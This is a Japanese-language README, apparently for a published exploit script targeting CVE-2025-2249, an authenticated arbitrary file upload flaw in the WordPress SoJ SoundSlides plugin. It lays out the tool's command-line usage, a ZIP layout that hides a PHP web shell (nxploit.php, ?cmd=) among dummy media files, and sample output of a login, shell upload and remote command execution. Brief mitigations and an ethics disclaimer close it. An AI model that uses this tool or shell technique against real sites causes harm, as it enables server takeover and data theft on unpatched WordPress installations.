🔐 WordPress SoJ SoundSlides プラグイン <= 1.2.2 - 認証済み任意ファイルアップロード

⚠️ 免責事項: このエクスプロイトは教育目的および許可されたテスト目的のみに使用してください。

📌 脆弱性の概要

プラグイン: SoJ SoundSlides
影響を受けるバージョン: <= 1.2.2
種類: 認証済み（投稿者以上）任意ファイルアップロード
パッチ状況: ❌ 公式修正は提供されていません

SoJ SoundSlides プラグインは、投稿者（Contributor）以上の権限を持つ認証済みユーザーによる任意の ZIP ファイルのアップロードを許可します。検証が欠如しているため、攻撃者は PHP ウェブシェルをアップロードし、それが Web アクセス可能なディレクトリに展開されて実行される可能性があります。

💥 影響

有効な WordPress 認証情報を持つ攻撃者は、以下を実行できます。

📦 PHP シェルを含む ZIP アーカイブをアップロード
🖥️ リモートでシステムコマンドを実行（?cmd=）
🔓 サイト/サーバーへの不正な制御を取得

🛠️ 使用方法

usage: CVE-2025-2249.py [-h] -u URL -un USERNAME -p PASSWORD

Exploit for CVE-2025-2249 | WordPress SoJ SoundSlides Plugin # By Nxploited | Khaled ALenazi,

options:
  -h, --help            show this help message and exit
  -u, --url URL         WordPress base URL
  -un, --username USERNAME
                        WordPress username
  -p, --password PASSWORD
                        WordPress password

引数	説明
`-u`	WordPress ベース URL
`-un`	WordPress ユーザー名
`-p`	WordPress パスワード

✨ 機能

🔍 プラグインの readme.txt からバージョンを確認
🧰 必要な構造とウェブシェルを含む ZIP を自動生成
📤 脆弱なアップロードエンドポイントを悪用
💻 アップロードしたシェルによる対話型コマンド実行

📂 ZIP ファイル構造

nxploit/
├── index.html
├── data/
│   └── data.xml
├── audio/
│   └── audio.mp3
└── nxploit.php  ← PHP shell (?cmd=)

🧪 例

[*] Checking plugin version...
[+] Vulnerable version detected.
[*] Logging in...
[+] Login successful.
[*] Uploading shell...
[*] Shell uploaded: http://target/wp-content/uploads/SoundSlides/nxploit_shell/nxploit.php
> whoami
www-data

🛡️ 緩和策

❌ プラグインを無効化または削除する
🧱 アップロード制限を適用する
🔍 wp-content/uploads/ に予期しない .php ファイルがないか監視する

❤️ を込めて [Nxploited | Khaled ALenazi] が制作
教育、啓発、そして防御のために。

🧠 最後に

セキュリティはすべての人の責任です。常に倫理的にテストし、責任を持って報告し、Web を守りましょう。

CVE-2025-2249

人気